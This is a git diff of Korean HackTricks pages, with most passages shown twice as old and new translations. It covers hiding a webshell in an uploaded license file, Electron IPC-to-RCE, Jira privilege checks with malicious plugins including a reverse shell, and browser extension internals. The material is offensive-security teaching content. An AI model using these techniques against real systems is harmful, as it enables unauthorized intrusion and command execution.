<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Part 3.2 (upload file LICENSE.txt)**
|
||||
|
||||
그 다음, 우리는 _Add Document_ (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다.
|
||||
그 다음, _Add Document_ (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||||
|
||||
마지막 부분은 Webshell과 상호작용하는 것으로 구성됩니다.
|
||||
마지막 부분은 Webshell과 상호작용하는 것입니다.
|
||||
|
||||
다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
공격자가 쿠키를 설정하면 Webshell과 상호작용하고 원하는 명령을 실행할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 기사를 읽어 주셔서 감사합니다. 이 정보가 여러분에게 도움이 되기를 바랍니다.
|
||||
이 기사를 읽어 주셔서 감사합니다. 여러분이 몇 개의 쉘을 얻는 데 도움이 되기를 바랍니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Electron contextIsolation RCE via IPC
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
preload 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약점이 있을 경우 RCE가 가능할 수 있습니다.
|
||||
프리로드 스크립트가 main.js 파일에서 IPC 엔드포인트를 노출하면, 렌더러 프로세스가 이를 접근할 수 있으며, 취약점이 있을 경우 RCE가 가능할 수 있습니다.
|
||||
|
||||
**이 예제들은 대부분 여기에서 가져왔습니다** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). 추가 정보는 비디오를 확인하세요.
|
||||
|
||||
## Example 0
|
||||
|
||||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)에서 가져온 예제 (MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 슬라이드에서 확인할 수 있으며, 이는 매우 기본적인 예제입니다):
|
||||
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)에서 가져온 예제 (이 슬라이드에서 MS Teams가 XSS에서 RCE로 어떻게 악용되었는지에 대한 전체 예제를 볼 수 있으며, 이는 매우 기본적인 예제입니다):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Example 1
|
||||
|
||||
|
@ -95,7 +95,7 @@ shell.openExternal(url);
|
|||
```
|
||||
## Example 3
|
||||
|
||||
프리로드 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이의 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다.
|
||||
preload 스크립트가 메인 프로세스와 완전히 통신할 수 있는 방법을 노출하면, XSS는 모든 이벤트를 보낼 수 있습니다. 이의 영향은 메인 프로세스가 IPC 측면에서 무엇을 노출하는지에 따라 달라집니다.
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
|
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
|
|||
};
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -115,7 +115,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Check Privileges
|
||||
|
||||
Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이 엔드포인트는 사용자의 현재 권한을 공개합니다. **비인증 사용자에게 권한이 있는 경우** 보안 취약점이 발생할 수 있으며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자에게 예상치 못한 권한이 있는 경우**도 **취약점**을 강조합니다.
|
||||
Jira에서 **권한은** 인증된 사용자와 인증되지 않은 사용자 모두 `/rest/api/2/mypermissions` 또는 `/rest/api/3/mypermissions` 엔드포인트를 통해 확인할 수 있습니다. 이 엔드포인트는 사용자의 현재 권한을 보여줍니다. **비인증 사용자**가 권한을 보유하고 있는 경우 **보안 취약점**을 나타내며, 이는 **보상**의 대상이 될 수 있습니다. 마찬가지로, **인증된 사용자**의 **예상치 못한 권한**도 **취약점**을 강조합니다.
|
||||
|
||||
중요한 **업데이트**가 **2019년 2월 1일**에 이루어졌으며, 'mypermissions' 엔드포인트에 **'permission' 매개변수**를 포함해야 합니다. 이 요구 사항은 쿼리되는 권한을 명시하여 **보안을 강화**하는 것을 목표로 합니다: [여기에서 확인하세요](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
|
@ -118,7 +118,7 @@ XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Pay
|
|||
|
||||
## 백도어 플러그인
|
||||
|
||||
[**이 포스트**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)는 악의적인 Jira 플러그인이 수행할 수 있는 다양한 (악의적인) 작업을 설명합니다. [**이 repo에서 코드 예제를 찾을 수 있습니다**](https://github.com/cyllective/malfluence).
|
||||
[**이 게시물**](https://cyllective.com/blog/posts/atlassian-malicious-plugin)은 악의적인 Jira 플러그인이 수행할 수 있는 다양한 (악의적인) 작업을 설명합니다. [**이 repo에서 코드 예제를 찾을 수 있습니다**](https://github.com/cyllective/malfluence).
|
||||
|
||||
악의적인 플러그인이 수행할 수 있는 작업은 다음과 같습니다:
|
||||
|
||||
|
@ -129,9 +129,7 @@ XSS가 발견되면, [**이 github repo**](https://github.com/cyllective/XSS-Pay
|
|||
* **리버스 셸**: 또는 리버스 셸을 얻을 수 있습니다.
|
||||
* **DOM 프록시**: 만약 컨플루언스가 사설 네트워크 내에 있다면, 접근 권한이 있는 사용자의 브라우저를 통해 연결을 설정하고 예를 들어 서버 명령을 실행할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필기 및 구사 필수_).
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
확장 프로그램 레이아웃은 시각화할 때 가장 잘 보이며 세 가지 구성 요소로 구성됩니다. 각 구성 요소를 자세히 살펴보겠습니다.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Content Scripts**
|
||||
|
||||
|
@ -45,7 +45,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
확장 프로그램의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 프로그램 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다.
|
||||
|
||||
또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙에서 실행**되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
|
||||
또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
|
@ -84,7 +84,7 @@ Example:
|
|||
```
|
||||
### `content_scripts`
|
||||
|
||||
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하는 모든 페이지이지만 **`*://*/*/business*`** 정규 표현식과는 일치하지 않습니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)에 임의로 접근할 수 있습니다.
|
||||
Content scripts는 사용자가 **일치하는 페이지로 이동할 때** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하는 모든 페이지이며 **`*://*/*/business*`** 정규 표현식과 일치하지 않습니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)에 임의로 접근할 수 있습니다.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
|
@ -101,7 +101,7 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
|
|||
```
|
||||
더 많은 URL을 포함하거나 제외하기 위해 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
|
||||
|
||||
이것은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다.
|
||||
다음은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다.
|
||||
```js
|
||||
chrome.storage.local.get("message", result =>
|
||||
{
|
||||
|
@ -116,11 +116,11 @@ document.body.appendChild(div);
|
|||
```
|
||||
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용하여 이루어집니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
|
||||
이 버튼이 클릭되면 콘텐츠 스크립트에 의해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)이 주요 출처입니다.\
|
||||
또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 이를 통해 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
|
||||
또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다.
|
||||
{% endhint %}
|
||||
|
||||
Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다.
|
||||
|
@ -130,10 +130,10 @@ Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개
|
|||
### 주입된 콘텐츠 스크립트
|
||||
|
||||
{% hint style="success" %}
|
||||
**콘텐츠 스크립트는 필수적이지 않**으며, **동적으로** **주입**하거나 **`tabs.executeScript`**를 통해 웹 페이지에 **프로그래밍 방식으로 주입**할 수도 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다.
|
||||
**콘텐츠 스크립트는 필수적이지 않습니다.** 웹 페이지에 **동적으로** **주입**하거나 **프로그래밍 방식으로 주입**할 수 있는 스크립트를 **`tabs.executeScript`**를 통해 주입할 수 있습니다. 이는 실제로 더 **세밀한 제어**를 제공합니다.
|
||||
{% endhint %}
|
||||
|
||||
콘텐츠 스크립트를 프로그래밍 방식으로 주입하기 위해서는 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
|
||||
콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
|
||||
|
||||
#### 예시 activeTab 기반 확장
|
||||
|
||||
|
@ -196,7 +196,7 @@ js : [ "contentScript.js" ],
|
|||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
|
||||
```
|
||||
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
|
||||
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다.
|
||||
|
||||
### 콘텐츠 스크립트 `run_at`
|
||||
|
||||
|
@ -265,26 +265,26 @@ To debug the background script you could go to the **extension details and inspe
|
|||
|
||||
### 옵션 페이지 및 기타
|
||||
|
||||
Browser extensions can contain various kinds of pages:
|
||||
브라우저 확장 프로그램은 다양한 종류의 페이지를 포함할 수 있습니다:
|
||||
|
||||
* **액션 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다.
|
||||
* 확장이 **새 탭에서 로드할** 페이지.
|
||||
* **옵션 페이지**: 이 페이지는 클릭할 때 확장 위에 표시됩니다. 이전 매니페스트에서 제 경우에는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 클릭하여:
|
||||
* **작업 페이지**는 **확장 아이콘**을 클릭할 때 드롭다운에 표시됩니다.
|
||||
* 확장 프로그램이 **새 탭에서 로드할 페이지**.
|
||||
* **옵션 페이지**: 이 페이지는 클릭 시 확장 프로그램 위에 표시됩니다. 이전 매니페스트에서는 `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`에서 이 페이지에 접근할 수 있었거나 클릭하여 접근할 수 있었습니다:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Note that these pages aren't persistent like background pages as they load dynamically content on necessity. Despite this, they share certain capabilities with the background page:
|
||||
이 페이지들은 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하세요. 그럼에도 불구하고, 이들은 백그라운드 페이지와 특정 기능을 공유합니다:
|
||||
|
||||
* **Content Scripts와의 통신:** 배경 페이지와 유사하게, 이러한 페이지는 콘텐츠 스크립트로부터 메시지를 받을 수 있어 확장 내 상호작용을 촉진합니다.
|
||||
* **확장 전용 API에 대한 접근:** 이러한 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다.
|
||||
* **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지들은 콘텐츠 스크립트로부터 메시지를 받을 수 있어 확장 프로그램 내에서의 상호작용을 촉진합니다.
|
||||
* **확장 프로그램 전용 API 접근:** 이 페이지들은 확장 프로그램에 대해 정의된 권한에 따라 확장 프로그램 전용 API에 대한 포괄적인 접근을 누립니다.
|
||||
|
||||
### `permissions` & `host_permissions`
|
||||
|
||||
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **어떤 권한**(저장소, 위치 등)을 브라우저 확장이 가지고 있는지와 **어떤 웹 페이지**에서 이를 사용할 수 있는지를 나타냅니다.
|
||||
**`permissions`**와 **`host_permissions`**는 `manifest.json`의 항목으로, **브라우저 확장 프로그램이 어떤 권한**(저장소, 위치 등)을 가지고 있는지와 **어떤 웹 페이지에서** 이를 사용할 수 있는지를 나타냅니다.
|
||||
|
||||
브라우저 확장이 매우 **특권적**일 수 있기 때문에, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다.**
|
||||
브라우저 확장 프로그램은 매우 **특권적**일 수 있으므로, 악의적인 확장 프로그램이나 손상된 확장 프로그램은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**.
|
||||
|
||||
이 설정이 어떻게 작동하는지 및 어떻게 남용될 수 있는지 확인하십시오:
|
||||
이 설정이 어떻게 작동하는지 및 어떻게 악용될 수 있는지 확인하세요:
|
||||
|
||||
{% content-ref url="browext-permissions-and-host_permissions.md" %}
|
||||
[browext-permissions-and-host\_permissions.md](browext-permissions-and-host\_permissions.md)
|
||||
|
@ -292,13 +292,13 @@ Note that these pages aren't persistent like background pages as they load dynam
|
|||
|
||||
### `content_security_policy`
|
||||
|
||||
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다.**
|
||||
**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다**.
|
||||
|
||||
브라우저 확장 페이지의 기본 설정은 다소 제한적입니다:
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
CSP 및 잠재적인 우회에 대한 자세한 내용은 다음을 확인하세요:
|
||||
CSP 및 잠재적 우회에 대한 자세한 내용은 다음을 확인하십시오:
|
||||
|
||||
{% content-ref url="../content-security-policy-csp-bypass/" %}
|
||||
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
|
||||
|
@ -328,38 +328,38 @@ CSP 및 잠재적인 우회에 대한 자세한 내용은 다음을 확인하세
|
|||
```
|
||||
chrome-extension://<extension-id>/message.html
|
||||
```
|
||||
공개 확장 프로그램에서는 **extension-id에 접근할 수 있습니다**:
|
||||
공개 확장에서 **extension-id에 접근할 수 있습니다**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
하지만, `manifest.json` 매개변수 **`use_dynamic_url`**이 사용되면, 이 **id는 동적일 수 있습니다**.
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서 페이지가 언급되더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 이를 (frame-ancestors 섹션) 확인해야 합니다.
|
||||
여기 언급된 페이지가 있더라도, **Content Security Policy** 덕분에 **ClickJacking**에 대해 **보호될 수 있습니다**. 따라서 ClickJacking 공격이 가능한지 확인하기 전에 (frame-ancestors 섹션) 이를 확인해야 합니다.
|
||||
{% endhint %}
|
||||
|
||||
이러한 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
|
||||
이 페이지에 접근할 수 있는 것은 이 페이지들이 **잠재적으로 ClickJacking에 취약할 수 있음을 의미합니다**:
|
||||
|
||||
{% content-ref url="browext-clickjacking.md" %}
|
||||
[browext-clickjacking.md](browext-clickjacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
|
||||
이 페이지들이 무작위 URL이 아닌 확장만 로드할 수 있도록 허용하면 ClickJacking 공격을 방지할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
**`web_accessible_resources`**의 페이지와 확장의 다른 페이지들도 **백그라운드 스크립트에 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다.
|
||||
|
||||
또한, **`web_accessible_resources`**에 표시된 페이지만 iframe 내에서 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
|
||||
또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### `externally_connectable`
|
||||
|
||||
